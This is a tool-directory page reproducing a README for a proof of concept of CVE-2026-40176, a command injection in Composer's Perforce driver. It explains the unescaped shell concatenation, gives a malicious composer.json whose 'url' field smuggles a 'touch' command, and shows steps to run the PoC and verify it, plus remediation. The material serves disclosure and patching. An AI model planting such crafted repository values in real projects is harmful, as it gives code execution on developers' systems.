Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/saku0512/cve-2026-40176-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationPayload Development
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

Proof-of-concept for CVE-2026-40176, an OS command injection in Composer's Perforce driver allowing remote code execution via crafted composer.json.

View Repository
222 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-40176: Composer Perforce OS Command Injection PoC

Description

This repository contains a Proof of Concept (PoC) for CVE-2026-40176, a critical OS Command Injection vulnerability discovered in Composer's Perforce VCS driver (versions prior to 2.2.27 and 2.9.6).

The vulnerability exists in the Perforce::generateP4Command() method. Due to insufficient sanitization of repository configuration parameters (such as url, p4user, or client) when constructing shell commands, an attacker who controls a composer.json file can execute arbitrary commands on the victim's system when composer install or composer update is executed.

Discovered by: saku0512 ()

GitHub

⚠️ Disclaimer

This project is for educational and ethical security testing purposes only.

The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. By using this software, you agree to use it only in environments where you have explicit permission to conduct security testing.

Vulnerability Details

  • CVE ID: CVE-2026-40176
  • Type: OS Command Injection (CWE-78)
  • Impact: Remote Code Execution (RCE)
  • Affected Versions:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • Fixed Version: v2.2.27 / v2.9.6

Root Cause

The generateP4Command() method in src/Composer/Util/Perforce.php builds a shell command by directly concatenating strings from the repository configuration:

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // Unescaped
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // Unescaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Unescaped

If these fields contain shell metacharacters (e.g., ;, &, |), they are interpreted by the system shell, leading to command injection.

Proof of Concept (Usage)

1. Environment Setup

Ensure you have PHP installed. This PoC simulates the vulnerable logic within Composer.

root@kitploit:~
# Check PHP version
php -v

2. Configuration (Malicious composer.json)

An attacker would craft a composer.json like this:

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. Execution of PoC

Run the provided poc.php script, which reproduces the internal command generation and execution logic of the vulnerable Composer versions.

root@kitploit:~
# Run the PoC
php poc.php

4. Verification

Verify that the command was executed successfully by checking for the existence of the file created by the payload:

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

If the file exists, the RCE is confirmed.

Remediation

Update Composer to the latest version immediately:

root@kitploit:~
composer self-update

The fix involves wrapping all user-supplied arguments with ProcessExecutor::escape() to prevent shell interpretation.

References

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
Download Tool